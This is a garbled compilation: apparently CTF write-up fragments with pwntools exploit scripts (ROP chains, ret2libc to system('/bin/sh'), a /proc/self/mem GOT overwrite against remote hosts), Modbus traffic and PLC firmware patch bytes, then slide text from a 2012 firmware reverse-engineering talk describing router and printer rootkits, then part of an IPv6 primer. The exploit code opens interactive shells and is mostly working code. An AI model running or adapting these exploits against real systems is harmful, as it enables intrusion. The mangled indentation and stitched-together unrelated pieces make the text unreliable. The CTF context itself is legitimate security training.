elf = ELF('./stack')
#p = process('./stack')
p = remote('47.104.188.176', 30004)
rop = ROP(elf)
rop.alarm(0x1000)
rop.write(1, elf.got['read'], 4)
rop.gee()
p.recvuntil('Init')
p.sendline(cnt * 'A' + rop.chain())
p.recvuntil('*...........................................................\n
')
p.recvuntil('*...........................................................\n
')
p.recvuntil('*...........................................................\n
')
p.recvuntil('*...........................................................\n
')
read_addr = u32(p.recv(4))
print hex(read_addr)
def leak(addr):
rop = ROP(elf)
rop.write(1, addr, 4)
rop.gee()
p.sendline(cnt * 'A' + rop.chain())
p.recvuntil('*...........................................................\n
')
data = p.recv(4)
print '%x => %s' % (addr, data or '')
return data
d = DynELF(leak, elf = ELF('./stack'))
mprotect_addr = d.lookup('mprotect', 'libc')
print hex(mprotect_addr)
shellcode = shellcraft.i386.linux.sh()
rop = ROP(elf)
rop.call(mprotect_addr, arguments=(0x8048000, 4096, 7,))
rop.gee()
p.sendline(cnt * 'A' + rop.chain())
p.recvuntil('*...........................................................\n
')
rop = ROP(elf)
mmap
rop.read(0, 0x8048000, 1024)
rop.call(0x8048000)
p.sendline((cnt) * 'A' + rop.chain())
p.sendline(asm(shellcode))
p.interactive()
flag{234dg5g5h5h5hy2h2h234rg34g34grg3}
from pwn import *
import roputils
import time
LOCAL = 0
DEBUG = 0
VERBOSE = 1
context.arch = 'i386'
if VERBOSE:
context.log_level = 'debug'
if LOCAL:
io = process('./play')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
if DEBUG:
gdb.attach(io, 'b *0x08048F02\n')
else:
io = remote('47.104.90.157', 30003)
libc = ELF('/home/bird/ctf/libc-database/db/libc6-i386_2.23-
0ubuntu9_amd64.so')
def hacking(yes_or_no):
io.recvuntil('choice>> ')
io.sendline('1')
io.recvuntil('use hiden_methods?(1:yes/0:no):')
io.sendline(str(yes_or_no))
def change_host():
io.recvuntil('choice>> ')
io.sendline('2')
def change_methods(idx):
io.recvuntil('choice>> ')
io.sendline('3')
io.recvuntil('choice>> ')
io.sendline(str(idx))
def attack():
for i in range(4):
if LOCAL:
io2 = process('./play')
else:
io2 = remote('47.104.90.157', 30003)
name = 'B1rd'
io2.recvuntil('login:')
io2.sendline(name)
io2.recvuntil('choice>> ')
io2.close()
hacking(1)
def attack2():
name = 'B1rd'
io.recvuntil('login:')
io.sendline(name)
change_methods(1)
# level 0
hacking(1)
hacking(1)
# level 1
hacking(1)
hacking(1)
hacking(1)
# level 2
hacking(1)
hacking(1)
hacking(1)
hacking(1)
change_host()
hacking(1)
hacking(1)
change_host()
change_host()
hacking(1)
change_host()
change_host()
change_host()
change_host()
hacking(1)
/proc/self/maps /proc/self/mem
# level 3
for i in range(14):
attack()
change_host()
for i in range(3):
if LOCAL:
io2 = process('./play')
else:
io2 = remote('47.104.90.157', 30003)
name = 'B1rd'
io2.recvuntil('login:')
io2.sendline(name)
io2.recvuntil('choice>> ')
io2.close()
hacking(1)
attack2()
io.recvuntil('what\'s your name:')
elf = ELF('./play')
io.sendline('A' * 0x4c + p32(elf.plt['write']) + p32(0x80492C0) + p32(1) +
p32(elf.got['read']) + p32(4))
io.recvuntil('\n')
libc_addr = u32(io.recvn(4)) - libc.symbols['read']
log.info('libc_addr:%#x' % libc_addr)
system_addr = libc_addr + libc.symbols['system']
bin_sh = libc_addr + next(libc.search('/bin/sh'))
log.info('system_addr:%#x' % system_addr)
log.info('bin_sh:%#x' % bin_sh)
attack2()
io.recvuntil('what\'s your name:')
io.sendline('A' * 0x4c + p32(system_addr) + p32(0) + p32(bin_sh))
io.recv()
io.interactive()
# -*- coding: UTF-8 -*-
from pwn import *
LOCAL = 0
DEBUG = 1
VERBOSE = 1
if VERBOSE:
context.log_level = 'debug'
if LOCAL:
io = process('./fileManager', aslr=False, env={'LD_PRELOAD':
'./libc.so.6'})
libc = ELF('./libc.so.6')
if DEBUG:
gdb.attach(io, 'b *0x56555F2C\n')
else:
io = remote('47.104.188.138', 30007)
libc = ELF('./libc.so.6')
def read_mod(name, offset, size):
io.recvuntil('\x87\xba\n')
io.sendline('1')
io.recvuntil('\xa7\xb0\x3a')
io.sendline(name)
io.recvuntil('\x87\x8f\x3a')
io.sendline(str(offset))
io.recvuntil('\xb0\x8f\x3a')
io.sendline(str(size))
io.recvuntil('\xae\xb9')
def write_mod(name, offset, size, content):
io.recvuntil('\x87\xba\n')
io.sendline('2')
io.recvuntil('\xa7\xb0\x3a')
io.sendline(name)
io.recvuntil('\x87\x8f\x3a')
io.sendline(str(offset))
io.recvuntil('\xb0\x8f\x3a')
io.sendline(str(size))
io.recvuntil('\x9d\x97\x3a')
io.send(content)
name = 'B1rd'
io.recvuntil('FTP:')
io.sendline(name)
read_mod('/proc/self/maps', 0, 0x100)
elf_base = int(io.recvn(8), 16)
log.info('elf_base:%#x' % elf_base)
elf = ELF('fileManager')
read_mod('/proc/self/mem', elf_base + elf.got['open'], 0x100)
libc_addr = u32(io.recvn(4)) - libc.symbols['open']
system_addr = libc_addr + libc.symbols['system']
log.info('libc_addr:%#x' % libc_addr)
log.info('system_addr:%#x' % system_addr)
Re
PLC
= =
sleep_ms10shell
write_mod('/proc/self/mem', elf_base + elf.got['open'], 5,
p32(system_addr))
io.recvuntil('\x87\xba\n')
io.sendline('2')
io.recvuntil('\xa7\xb0\x3a')
io.sendline('/bin/sh')
io.interactive()
#include <cstdio>
using namespace std;
int f(int x, int y)
{
int a = 2544 / x;
int b = 2544 / x / y;
int i, j;
int sum = 0;
for (i = 0; i < b; ++i)
{
for (j = 0; j < y; ++j)
{
sum += x;
}
for (j = y - 2; j > 0; --j)
{
sum += x;
}
}
return sum;
}
int main()
{
int max = 0;
int i, j;
for (i = 1; i <= 200; i++)
{
168 5shell = =
BOOM
Hex
MODBUS TCP/IP
https://www.rtaautomation.com/technologies/modbus-tcpip/
{
for (j = 1; j <= 100; j++)
{
if (f(j, i) > max - 200)
{
printf("%d %d %d\n", i, j, f(j, i));
max = f(j, i);
}
}
}
return 0;
}
flag{kfasdgg3g56h6h6jkga54jkgsj6j23}
192.168.138.132-->47.104.188.199
0000000000067e039bca0001
47.104.188.199-->192.168.138.132
0000000000057e0302a397
192.168.138.132-->47.104.188.199
0001000000067e0327d20001
47.104.188.199-->192.168.138.132
0001000000057e0302a255
192.168.138.132-->47.104.188.199
0002000000067e0343430001
47.104.188.199-->192.168.138.132
0002000000057e030253be
192.168.138.132-->47.104.188.199
0003000000067e03a0720001
47.104.188.199-->192.168.138.132
0003000000057e0302f1fc
192.168.138.132-->47.104.188.199
0004000000067e03009a0001
47.104.188.199-->192.168.138.132
0004000000057e03020032
...
192.168.138.132UI0x7e+0x9a147.104.188.199
“”
flag: flag{booomoXxb00mBBAmBoom00Xxxx}
PLCbin
https://github.com/ameng929/NOE77101_Firmware/tree/master/FLASH0/wwwroot/conf
/exec http://mp.weixin.qq.com/s?
__biz=MzA5OTMwMzY1NQ==&mid=207094710&idx=1&sn=13fc594d15729bd7e001a48b90d827c4&s
cene=4%23wechat_redirect binbinWinHex
7bytes
ida
...
192.168.138.132-->47.104.188.199
0004000000067e03009a0001
47.104.188.199-->192.168.138.132
0004000000057e03020032
...
192.168.138.132-->47.104.188.199
0022000000067e03009a0001
47.104.188.199-->192.168.138.132
0022000000057e03020033
...
192.168.138.132-->47.104.188.199
0045000000067e03009a0001
47.104.188.199-->192.168.138.132
0045000000057e03020034
...
192.168.138.132-->47.104.188.199
0063000000067e03009a0001
47.104.188.199-->192.168.138.132
0063000000057e03020035
...
0000000000067e10009a000102ffff
booomoXxb00mBBAmBoom00Xxxx
1AC0F3: 02
01
1AC0F8: 3B
7D
1AC0F9: C9
3E
1AC0FA: FF
4B
1AC0FB: FF
78
1AC14F: 35
36
1AC16B: 41
42
VxEncrypt
https://github.com/ilovepp/z3_loginDefaultEncrypt py
Misc
16docxrreq uuidtagjpxjpeg2000
smarNCGw10
wPhotoshoptext(3ijnhygvfr)Hflag3Whex:3377 | pdf |
7.27.2012
frak.redballoonsecurity.com
R E D
BALLOON
S e c u r i t y
{ Ang Cui | [email protected] }
www.redballoonsecurity.com
FIRMWARE
R E V E R S E
A N A L Y S I S
K O N S O L E
W
H
O
A
M
I
W H A T D O I
D O
7.27.2012
frak.redballoonsecurity.com
[email protected]
W
H
O
A
M
I
W H A T D O I
D O
5th Year Ph.D. Candidate
Intrusion Detection Systems Lab
Columbia University
7.27.2012
frak.redballoonsecurity.com
[email protected]
5th Year Ph.D. Candidate
Intrusion Detection Systems Lab
Columbia University
Co-Founder and CEO
Red Balloon Security Inc.
www.redballoonsecurity.com
7.27.2012
frak.redballoonsecurity.com
W
H
O
A
M
I
W H A T D O I
D O
[email protected]
5th Year Ph.D. Candidate
Intrusion Detection Systems Lab
Columbia University
Co-Founder and CEO
Red Balloon Security Inc.
www.redballoonsecurity.com
Past publications:
•
Pervasive Insecurity of Embedded Network
Devices. [RAID10]
•
A Quantitative Analysis of the Insecurity
of Embedded Network Devices. [ACSAC10]
•
Killing the Myth of Cisco IOS Diversity:
Towards Reliable Large-Scale Exploitation
of Cisco IOS. [USENIX WOOT 11]
•
Defending Legacy Embedded Systems with
Software Symbiotes. [RAID11]
•
From Prey to Hunter: Transforming
Legacy Embedded Devices Into
Exploitation Sensor Grids. [ACSAC11]
7.27.2012
frak.redballoonsecurity.com
W
H
O
A
M
I
W H A T D O I
D O
[email protected]
5th Year Ph.D. Candidate
Intrusion Detection Systems Lab
Columbia University
Co-Founder and CEO
Red Balloon Security Inc.
www.redballoonsecurity.com
Past Embedded Tinkerings:
•
Interrupt-Hijack Cisco IOS Rootkit
7.27.2012
frak.redballoonsecurity.com
W
H
O
A
M
I
W H A T D O I
D O
[email protected]
Interrupt-Hijack Rootkit
[blackhat USA 2011]
7.27.2012
frak.redballoonsecurity.com
[email protected]
5th Year Ph.D. Candidate
Intrusion Detection Systems Lab
Columbia University
Co-Founder and CEO
Red Balloon Security Inc.
www.redballoonsecurity.com
Past Embedded Tinkerings:
•
Interrupt-Hijack Cisco IOS Rootkit
•
HP LaserJet Printer Rootkit
7.27.2012
frak.redballoonsecurity.com
W
H
O
A
M
I
W H A T D O I
D O
[email protected]
HP-RFU Vulnerability
HP LaserJet 2550 Rootkit
[28c3]
Firewall
Network Printer
Attacker
Server
1. Reverse Proxy
Printer -> Attacker
2. Reverse Proxy
Printer -> Victim
3. Attacker -> Server
Via Reverse Proxy
4. Win: Reverse Shell
Server -> Kitteh
7.27.2012
frak.redballoonsecurity.com
[email protected]
WORKFLOW
[Cisco IOS ROOTKIT]
7.27.2012
frak.redballoonsecurity.com
[email protected]
WORKFLOW
[Cisco IOS ROOTKIT]
7.27.2012
frak.redballoonsecurity.com
[HP LaserJet Rootkit]
[email protected]
WORKFLOW
[Cisco IOS ROOTKIT]
7.27.2012
frak.redballoonsecurity.com
[HP LaserJet Rootkit]
[Software Symbiotes for Routers, Phones, Printers]
[email protected]
7.27.2012
frak.redballoonsecurity.com
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
[email protected]
7.27.2012
frak.redballoonsecurity.com
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Known Format or Proprietary Format?
Sub-Record / FileSystem
Extraction
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
7.27.2012
frak.redballoonsecurity.com
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Known Format or Proprietary Format?
Sub-Record / FileSystem
Extraction
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
7.27.2012
frak.redballoonsecurity.com
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Known Format or Proprietary Format?
Sub-Record / FileSystem
Extraction
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
7.27.2012
frak.redballoonsecurity.com
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Known Format or Proprietary Format?
Sub-Record / FileSystem
Extraction
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
7.27.2012
frak.redballoonsecurity.com
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Known Format or Proprietary Format?
Sub-Record / FileSystem
Extraction
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Known Format or Proprietary Format?
Sub-Record / FileSystem
Extraction
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
7.27.2012
frak.redballoonsecurity.com
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Known Format or Proprietary Format?
Sub-Record / FileSystem
Extraction
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Known Format or Proprietary Format?
Sub-Record / FileSystem
Extraction
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Firmware
Analysis
Firmware
Modification
REpacking Process
Modified Binary Firmware Image
7.27.2012
frak.redballoonsecurity.com
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Known Format or Proprietary Format?
Sub-Record / FileSystem
Extraction
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Unpacking Process
Parse Package
Manifest
De{crypt,compress}
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Known Format or Proprietary Format?
Sub-Record / FileSystem
Extraction
Original Binary Firmware Image
Firmware
Analysis
Firmware
Modification
Firmware
Analysis
Firmware
Modification
REpacking Process
Modified Binary Firmware Image
Known Format or Proprietary Format?
Re-Pack Modified
Sub-record / File System
Re-{crypt,compress}, Recalculate Checksum, etc
Known Algorithm or Proprietary Algorithm?
Record
Encrypted?
Record
Compressed?
Record
Checksummed?
Record
Digitally
Signed?
Firmware
Analysis
Firmware
Modification
REpacking Process
Modified Binary Firmware Image
Regenerate
Package Manifest
Reasons why Ang stays
home on Friday night
7.27.2012
frak.redballoonsecurity.com
[email protected]
Reasons why Ang stays
home on Friday night
Payload Design
7.27.2012
frak.redballoonsecurity.com
[email protected]
Reasons why Ang stays
home on Friday night
Payload
Developement
Payload Design
7.27.2012
frak.redballoonsecurity.com
[email protected]
Reasons why Ang stays
home on Friday night
Payload
Developement
Payload Testing
Payload Design
7.27.2012
frak.redballoonsecurity.com
[email protected]
Reasons why Ang stays
home on Friday night
Payload
Developement
Payload Testing
Payload Design
Payload
Developement
Payload Testing
Payload Design
STARE
@
BINARY
BLOB
7.27.2012
frak.redballoonsecurity.com
[email protected]
7.27.2012
frak.redballoonsecurity.com
Such Mystery!
[email protected]
Payload Design
Payload
Developement
Payload Design
Payload
Developement
Payload Testing
Payload Design
Payload
Developement
Payload Testing
Payload Design
STARE
@
BINARY
BLOB
Payload
Developement
Payload Testing
Payload Design
STARE
@
BINARY
BLOB
THIS PART
L
7.27.2012
frak.redballoonsecurity.com
[email protected]
Payload Design
Payload
Developement
Payload Design
Payload
Developement
Payload Testing
Payload Design
Payload
Developement
Payload Testing
Payload Design
STARE
@
BINARY
BLOB
7.27.2012
frak.redballoonsecurity.com
This part
Is
IMPORTANT
[email protected]
F R A K
irmware
everse
nalysis
onsole
[Better Living Through Software Engineering]
7.27.2012
frak.redballoonsecurity.com
[email protected]
Payload Design
Payload
Developement
Payload Design
Payload
Developement
Payload Testing
Payload Design
Payload
Developement
Payload Testing
Payload Design
STARE
@
BINARY
BLOB
Payload
Developement
Payload Testing
Payload Design
STARE
@
BINARY
BLOB
THIS PART
L
7.27.2012
frak.redballoonsecurity.com
[email protected]
F R A K
irmware
everse
nalysis
onsole
7.27.2012
frak.redballoonsecurity.com
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
UNPACKING
ENGINE
REPACKING
ENGINE
[email protected]
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
F R A K
irmware
everse
nalysis
onsole
7.27.2012
frak.redballoonsecurity.com
UNPACKING
ENGINE
REPACKING
ENGINE
UNPACKING
ENGINE
REPACKING
ENGINE
HP-RFU
Module
Cisco IOS
Module
Cisco-CNU
Module
XYZ-Format
Module
HP-RFU
Module
Cisco IOS
Module
Cisco-CNU
Module
XYZ-Format
Module
[email protected]
F R A K
irmware
everse
nalysis
onsole
7.27.2012
frak.redballoonsecurity.com
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
UNPACKING
ENGINE
REPACKING
ENGINE
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
[email protected]
F R A K
irmware
everse
nalysis
onsole
7.27.2012
frak.redballoonsecurity.com
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
UNPACKING
ENGINE
REPACKING
ENGINE
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Agnostic
[email protected]
F R A K
irmware
everse
nalysis
onsole
7.27.2012
frak.redballoonsecurity.com
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
UNPACKING
ENGINE
REPACKING
ENGINE
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Agnostic
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
Device/Vendor Agnostic
[email protected]
7.27.2012
frak.redballoonsecurity.com
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
UNPACKING
ENGINE
REPACKING
ENGINE
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Agnostic
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
Device/Vendor Agnostic
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Agnostic
Cisco IOS
Module
F R A K
irmware
everse
nalysis
onsole
[email protected]
F R A K
irmware
everse
nalysis
onsole
7.27.2012
frak.redballoonsecurity.com
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
UNPACKING
ENGINE
REPACKING
ENGINE
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Agnostic
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
Device/Vendor Agnostic
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
Device/Vendor Agnostic
[email protected]
F R A K
irmware
everse
nalysis
onsole
7.27.2012
frak.redballoonsecurity.com
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
UNPACKING
ENGINE
REPACKING
ENGINE
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Agnostic
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
Device/Vendor Agnostic
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
Device/Vendor Agnostic
Device/Vendor Dependent
Analysis
Engine
Modification
Engine
UNPACKING
ENGINE
REPACKING
ENGINE
Device/Vendor Agnostic
[email protected]
7.27.2012
frak.redballoonsecurity.com
F R A K
irmware
everse
nalysis
onsole
[Better Living Through Software Integration]
[email protected]
7.27.2012
frak.redballoonsecurity.com
F R A K
irmware
everse
nalysis
onsole
[Better Living Through Software Integration]
[email protected]
7.27.2012
frak.redballoonsecurity.com
F R A K
irmware
everse
nalysis
onsole
[Better Living Through Software Integration]
[email protected]
7.27.2012
frak.redballoonsecurity.com
F R A K
irmware
everse
nalysis
onsole
[Better Living Through Software Integration]
More integration
on the way
[email protected]
F R A K
irmware
everse
nalysis
onsole
7.27.2012
frak.redballoonsecurity.com
F R A K
irmware
everse
nalysis
onsole
7.27.2012
frak.redballoonsecurity.com
[email protected]
F R A K
irmware
everse
nalysis
onsole
Unpack, Analyze, Modify, Repack: Cisco IOS
7.27.2012
frak.redballoonsecurity.com
[email protected]
Payload
Developement
Payload Testing
Payload Design
STARE
@
BINARY
BLOB
7.27.2012
frak.redballoonsecurity.com
Without FRAK!
[email protected]
With FRAK!
7.27.2012
frak.redballoonsecurity.com
Payload
Developement
Payload Testing
Payload Design
STARE @ BINARY
BLOB
[email protected]
E N O U G H T A L K
D E M O
T I M E
7.27.2012
frak.redballoonsecurity.com
•
Packer/Repacker for Cisco IOS, HP-RFU
•
Automagic Binary Analysis
•
IDA-Pro Integration
•
Entropy-related Analysis
•
Automated IOS/RFU Rootkit Injection
[email protected]
7.27.2012
frak.redballoonsecurity.com
7.27.2012
frak.redballoonsecurity.com
Entropy
map
of
firmware
image.
White:
high
entropy
data
Black:
low
entropy
data
Small
low
random
header
and
footer.
Large
amount
of
random
data.
Hmm!
[email protected]
7.27.2012
frak.redballoonsecurity.com
7.27.2012
frak.redballoonsecurity.com
Entropy
map
of
header.
Look
familiar?
Let’s
unpack
the
middle
pkzip
record.
cmd:
unpack
/1
generic-‐unzip
[email protected]
7.27.2012
frak.redballoonsecurity.com
7.27.2012
frak.redballoonsecurity.com
Entropy
map
of
unzipped
record.
Does
the
structure
look
familiar?
7.27.2012
frak.redballoonsecurity.com
7.27.2012
frak.redballoonsecurity.com
7.27.2012
frak.redballoonsecurity.com
7.27.2012
frak.redballoonsecurity.com
7.27.2012
frak.redballoonsecurity.com
7.27.2012
frak.redballoonsecurity.com
7.27.2012
frak.redballoonsecurity.com
I wonder what the johnface
file contained. Hrm…
Let’s fire up dynamips and
find out.
7.27.2012
frak.redballoonsecurity.com
7.27.2012
frak.redballoonsecurity.com
-‐)
[email protected]
Frak unpacking A HP-RFU Image
7.27.2012
frak.redballoonsecurity.com
FRAK is still WIP. For Early Access
Contact
[email protected]
7.27.2012
frak.redballoonsecurity.com
[email protected]
7.27.2012
frak.redballoonsecurity.com
FRAK Page: http://frak.redballoonsecurity.com
[email protected]
FRAK is still WIP. For Early Access
Contact
[email protected]
7.27.2012
frak.redballoonsecurity.com
FRAK Page: http://frak.redballoonsecurity.com
Thank you DARPA Cyber Fast Track!
[email protected]
FRAK is still WIP. For Early Access
Contact
[email protected]
7.27.2012
frak.redballoonsecurity.com
{ Ang Cui | [email protected] }
www.redballoonsecurity.com | pdf |
IPv6 Primer
Gene Cronk – CISSP, NSA-IAM
SME – North American IPv6 Task Force
Systems Admin – The Robin Shepherd Group
[email protected]
Why IPv6? Quick History
• 1992
• Internet Engineering Task Force (IETF)
• Global shortage of IPv4 addresses
• Technical limitations of IPv4
• 1993
• RFC1550 created
• 1995
• Next generation internet protocol (IPv6)
chosen as IPng (IP Next Generation)
Why IPv6? Comparison with IPv4
• IPv4
• 32 bit address space (4.3 billion possible
addresses)
• IPv6
• 128 bit address space (3.4 * 10^38 or
340 undecillion addresses)
• 64 billion IPs for every square
centimeter on earth
Why IPv6? Comparison with IPv4
• IPv4
• 20 some odd years ago
• Many band-aids applied to address needs
• IPv6
• Integrates many network improvements
made over that time
Why IPv6? Comparison with IPv4
• Stateless autoconfiguration
• IPv4
• DHCP server is possible, but not mandatory.
• IPv6
• Automagic Link Local address as soon as you boot
the machine (see RFC 2462)
• Mechanism is similar to getting a 169.xxx.xxx.xxx
address on boot in IPv4
Why IPv6? Comparison with IPv4
• Security & QoS
• IPv4
•IPSec and QoS are add-ons
• IPv6
•Encryption, IPSec and QoS built in
Why IPv6? Comparison with IPv4
• A cure for routing table growth
• IPv4
• Backbone routing table size has become a
monsterous headache to ISPs and backbone
operators. (113,000 as of 2003)
• IPv6
• Maximum amount of routes a router will see in the
default-free zone is 8192.
Why IPv6? Comparison with IPv4
● From www.mcvax.org/~jhma/routing/bgp-hist.html :
Why IPv6? Comparison with IPv4
• Roaming becomes much easier
• Use of Mobile IPv6 and AnyCast
• Cell phone roaming much cleaner
• Cell phone can automatically identify
new routing information from a new
tower
• Cell phone keeps the same IP
Why IPv6? Comparison with IPv4
• IPv6 reestablishes end to end
connectivity
• The internet was originally designed for
hosts to communicate directly with each
other
• One of the “fixes” to keep IPv4 working
(NAT) breaks end to end connectivity
What do I need to know about IPv6?
● 6Bone
● Experimental IPv6 beta network
● IPv6 “Islands” connected via IPv4 tunnels
● Connectivity
● Native
● Tunnel Broker and other tunneling methods
● Number of networks continues to grow
● http://www.cs-ipv6.lancs.ac.uk
What do I need to know about IPv6?
● Global adoption
● Earliest adopters
● Asia -- Japan & China expect full conversion by 2005
● European Union
● Resistive adopters
● United States
● US has roughly 70% of the world's IPv4 addresses
● Detractors claim excessive level of effort to implement
● New Developments
● US DoD mandated all new network infrastructure
equipment be IPv6 capable as of 10/2003
● Full conversion for DoD expected by 2008
● NTT/Verio, SpeakEasy, Hurricane Electric and others
● Moonv6 Project (http://www.moonv6.org)
IPv6 – Addressing
● 3ffe:80ee:16f9:3481:efab:1092:aaaa:3ff1
● Each block in the address represents 16 bits
● Just 2 words of an IPv6 address cover the entire IPv4 internet
● The first word defines the type of address
● 3ffe -- 6 Bone address (experimental globally routable IP)
● Depreciated in leiu of 2001:: addresses (RFC 3701)
● fe80 -- Link Local address, used to get information about the
network (routers, etc.)
● ::1 -- localhost (127.0.0.1 in the IPv4 world)
● :: -- equivalent to 0.0.0.0
IPv6 – Addressing
EUI-64
● Extended Unique Identifier (EUI-64)
● Clients can receive IPv6 address based on MAC
● 64 bit prefix assigned by Router Advertiser or
DHCPv6, last 64 bits assigned by EUI-64
